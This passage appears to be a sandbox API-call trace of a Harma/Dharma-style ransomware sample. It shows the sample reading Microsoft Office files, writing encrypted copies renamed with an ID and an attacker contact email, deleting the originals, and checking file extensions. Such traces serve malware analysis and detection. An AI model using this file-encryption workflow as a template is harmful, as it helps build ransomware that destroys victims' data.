lpString2=".HOL") returned -1 [0159.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL") returned 59 [0159.876] lstrlenW (lpString=".jpg") returned 4 [0159.876] lstrcmpiW (lpString1=".jpg", lpString2=".HOL") returned 1 [0159.877] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".harma") returned 1 [0159.877] lstrlenW (lpString="PPINTL.DLL.IDX_DLL") returned 18 [0159.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0159.880] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=38272) returned 1 [0159.880] CloseHandle (hObject=0x214) returned 1 [0159.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll.idx_dll")) returned 0x20 [0159.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll.idx_dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0159.880] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0159.880] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0159.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll.idx_dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0159.882] GetLastError () returned 0x0 [0159.882] ReadFile (in: hFile=0x214, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x9580, lpOverlapped=0x0) returned 1 [0159.905] WriteFile (in: hFile=0x218, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x9590, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x9590, lpOverlapped=0x0) returned 1 [0159.906] ReadFile (in: hFile=0x214, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0159.906] WriteFile (in: hFile=0x218, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xf8, lpOverlapped=0x0) returned 1 [0159.907] SetEndOfFile (hFile=0x218) returned 1 [0159.907] CloseHandle (hObject=0x218) returned 1 [0159.907] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0159.907] SetEndOfFile (hFile=0x214) returned 1 [0159.909] CloseHandle (hObject=0x214) returned 1 [0159.910] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0159.931] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll.idx_dll")) returned 1 [0159.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL") returned 66 [0159.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL") returned 66 [0159.932] lstrlenW (lpString=".doc") returned 4 [0159.932] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0159.932] lstrlenW (lpString=".docx") returned 5 [0159.932] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0159.932] lstrlenW (lpString=".pdf") returned 4 [0159.932] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0159.932] lstrlenW (lpString=".xls") returned 4 [0159.932] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0159.932] lstrlenW (lpString=".xlsx") returned 5 [0159.932] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0159.932] lstrlenW (lpString=".ppt") returned 4 [0159.932] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0159.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL") returned 66 [0159.932] lstrlenW (lpString=".zip") returned 4 [0159.932] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0159.932] lstrlenW (lpString=".rar") returned 4 [0159.932] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0159.932] lstrlenW (lpString=".bz2") returned 4 [0159.932] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0159.932] lstrlenW (lpString=".7z") returned 3 [0159.932] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0159.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL") returned 66 [0159.932] lstrlenW (lpString=".dbf") returned 4 [0159.932] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0159.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL") returned 66 [0159.932] lstrlenW (lpString=".1cd") returned 4 [0159.932] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0159.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL") returned 66 [0159.932] lstrlenW (lpString=".jpg") returned 4 [0159.932] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0159.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL") returned 66 [0159.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL") returned 66 [0159.933] lstrlenW (lpString=".doc") returned 4 [0159.933] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0159.933] lstrlenW (lpString=".docx") returned 5 [0159.933] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0159.933] lstrlenW (lpString=".pdf") returned 4 [0159.933] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0159.933] lstrlenW (lpString=".xls") returned 4 [0159.933] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0159.933] lstrlenW (lpString=".xlsx") returned 5 [0159.933] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0159.933] lstrlenW (lpString=".ppt") returned 4 [0159.933] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0159.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL") returned 66 [0159.933] lstrlenW (lpString=".zip") returned 4 [0159.933] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0159.933] lstrlenW (lpString=".rar") returned 4 [0159.933] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0159.933] lstrlenW (lpString=".bz2") returned 4 [0159.933] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0159.933] lstrlenW (lpString=".7z") returned 3 [0159.933] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0159.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL") returned 66 [0159.933] lstrlenW (lpString=".dbf") returned 4 [0159.933] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0159.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL") returned 66 [0159.933] lstrlenW (lpString=".1cd") returned 4 [0159.933] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0159.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL") returned 66 [0159.933] lstrlenW (lpString=".jpg") returned 4 [0159.933] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0159.934] lstrcmpiW (lpString1=".VSL", lpString2=".harma") returned 1 [0159.934] lstrlenW (lpString="PROPRPT.VSL") returned 11 [0159.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\proprpt.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0159.977] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=137096) returned 1 [0159.977] CloseHandle (hObject=0x378) returned 1 [0159.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\proprpt.vsl")) returned 0x20 [0160.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\proprpt.vsl.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0160.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\proprpt.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0160.020] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0160.020] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0160.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\proprpt.vsl.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0160.021] GetLastError () returned 0x0 [0160.021] ReadFile (in: hFile=0x364, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x21788, lpOverlapped=0x0) returned 1 [0160.059] WriteFile (in: hFile=0x360, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x21790, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x21790, lpOverlapped=0x0) returned 1 [0160.062] ReadFile (in: hFile=0x364, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0160.062] WriteFile (in: hFile=0x360, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0160.062] SetEndOfFile (hFile=0x360) returned 1 [0160.063] CloseHandle (hObject=0x360) returned 1 [0160.063] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0160.063] SetEndOfFile (hFile=0x364) returned 1 [0160.067] CloseHandle (hObject=0x364) returned 1 [0160.067] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0160.067] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\proprpt.vsl")) returned 1 [0160.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL") returned 59 [0160.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL") returned 59 [0160.068] lstrlenW (lpString=".doc") returned 4 [0160.068] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0160.068] lstrlenW (lpString=".docx") returned 5 [0160.068] lstrcmpiW (lpString1=".docx", lpString2="T.VSL") returned -1 [0160.068] lstrlenW (lpString=".pdf") returned 4 [0160.068] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0160.068] lstrlenW (lpString=".xls") returned 4 [0160.068] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0160.068] lstrlenW (lpString=".xlsx") returned 5 [0160.068] lstrcmpiW (lpString1=".xlsx", lpString2="T.VSL") returned -1 [0160.068] lstrlenW (lpString=".ppt") returned 4 [0160.068] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0160.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL") returned 59 [0160.068] lstrlenW (lpString=".zip") returned 4 [0160.068] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0160.068] lstrlenW (lpString=".rar") returned 4 [0160.068] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0160.068] lstrlenW (lpString=".bz2") returned 4 [0160.068] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0160.068] lstrlenW (lpString=".7z") returned 3 [0160.068] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0160.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL") returned 59 [0160.068] lstrlenW (lpString=".dbf") returned 4 [0160.068] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0160.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL") returned 59 [0160.068] lstrlenW (lpString=".1cd") returned 4 [0160.068] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0160.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL") returned 59 [0160.069] lstrlenW (lpString=".jpg") returned 4 [0160.069] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0160.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL") returned 59 [0160.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL") returned 59 [0160.069] lstrlenW (lpString=".doc") returned 4 [0160.069] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0160.069] lstrlenW (lpString=".docx") returned 5 [0160.069] lstrcmpiW (lpString1=".docx", lpString2="T.VSL") returned -1 [0160.069] lstrlenW (lpString=".pdf") returned 4 [0160.069] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0160.069] lstrlenW (lpString=".xls") returned 4 [0160.069] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0160.069] lstrlenW (lpString=".xlsx") returned 5 [0160.069] lstrcmpiW (lpString1=".xlsx", lpString2="T.VSL") returned -1 [0160.069] lstrlenW (lpString=".ppt") returned 4 [0160.069] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0160.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL") returned 59 [0160.069] lstrlenW (lpString=".zip") returned 4 [0160.069] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0160.069] lstrlenW (lpString=".rar") returned 4 [0160.069] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0160.069] lstrlenW (lpString=".bz2") returned 4 [0160.069] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0160.069] lstrlenW (lpString=".7z") returned 3 [0160.069] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0160.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL") returned 59 [0160.069] lstrlenW (lpString=".dbf") returned 4 [0160.069] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0160.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL") returned 59 [0160.069] lstrlenW (lpString=".1cd") returned 4 [0160.070] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0160.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL") returned 59 [0160.070] lstrlenW (lpString=".jpg") returned 4 [0160.070] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0160.070] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0160.070] lstrlenW (lpString="PUBWZINT.DLL") returned 12 [0160.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0160.585] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=171368) returned 1 [0160.585] CloseHandle (hObject=0x348) returned 1 [0160.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.dll")) returned 0x20 [0160.586] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0160.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0160.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL") returned 60 [0160.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL") returned 60 [0160.586] lstrlenW (lpString=".doc") returned 4 [0160.586] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0160.586] lstrlenW (lpString=".docx") returned 5 [0160.586] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0160.586] lstrlenW (lpString=".pdf") returned 4 [0160.586] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0160.586] lstrlenW (lpString=".xls") returned 4 [0160.586] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0160.586] lstrlenW (lpString=".xlsx") returned 5 [0160.586] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0160.586] lstrlenW (lpString=".ppt") returned 4 [0160.586] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0160.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL") returned 60 [0160.586] lstrlenW (lpString=".zip") returned 4 [0160.586] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0160.586] lstrlenW (lpString=".rar") returned 4 [0160.586] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0160.586] lstrlenW (lpString=".bz2") returned 4 [0160.586] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0160.587] lstrlenW (lpString=".7z") returned 3 [0160.587] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0160.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL") returned 60 [0160.587] lstrlenW (lpString=".dbf") returned 4 [0160.587] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0160.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL") returned 60 [0160.587] lstrlenW (lpString=".1cd") returned 4 [0160.587] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0160.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL") returned 60 [0160.587] lstrlenW (lpString=".jpg") returned 4 [0160.587] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0160.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL") returned 60 [0160.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL") returned 60 [0160.587] lstrlenW (lpString=".doc") returned 4 [0160.587] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0160.587] lstrlenW (lpString=".docx") returned 5 [0160.587] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0160.587] lstrlenW (lpString=".pdf") returned 4 [0160.587] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0160.587] lstrlenW (lpString=".xls") returned 4 [0160.587] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0160.587] lstrlenW (lpString=".xlsx") returned 5 [0160.587] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0160.587] lstrlenW (lpString=".ppt") returned 4 [0160.587] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0160.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL") returned 60 [0160.587] lstrlenW (lpString=".zip") returned 4 [0160.588] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0160.588] lstrlenW (lpString=".rar") returned 4 [0160.588] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0160.588] lstrlenW (lpString=".bz2") returned 4 [0160.588] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0160.588] lstrlenW (lpString=".7z") returned 3 [0160.588] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0160.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL") returned 60 [0160.588] lstrlenW (lpString=".dbf") returned 4 [0160.588] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0160.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL") returned 60 [0160.588] lstrlenW (lpString=".1cd") returned 4 [0160.588] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0160.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL") returned 60 [0160.588] lstrlenW (lpString=".jpg") returned 4 [0160.588] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0160.589] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0160.589] lstrlenW (lpString="SLINTL.DLL") returned 10 [0160.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\slintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0160.589] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=9088) returned 1 [0160.589] CloseHandle (hObject=0x348) returned 1 [0160.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\slintl.dll")) returned 0x20 [0160.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\slintl.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0160.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\slintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0160.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL") returned 58 [0160.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL") returned 58 [0160.590] lstrlenW (lpString=".doc") returned 4 [0160.590] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0160.590] lstrlenW (lpString=".docx") returned 5 [0160.590] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0160.590] lstrlenW (lpString=".pdf") returned 4 [0160.590] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0160.590] lstrlenW (lpString=".xls") returned 4 [0160.590] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0160.590] lstrlenW (lpString=".xlsx") returned 5 [0160.590] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0160.590] lstrlenW (lpString=".ppt") returned 4 [0160.590] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0160.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL") returned 58 [0160.590] lstrlenW (lpString=".zip") returned 4 [0160.590] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0160.590] lstrlenW (lpString=".rar") returned 4 [0160.590] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0160.590] lstrlenW (lpString=".bz2") returned 4 [0160.590] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0160.590] lstrlenW (lpString=".7z") returned 3 [0160.590] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0160.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL") returned 58 [0160.590] lstrlenW (lpString=".dbf") returned 4 [0160.590] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0160.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL") returned 58 [0160.590] lstrlenW (lpString=".1cd") returned 4 [0160.590] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0160.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL") returned 58 [0160.591] 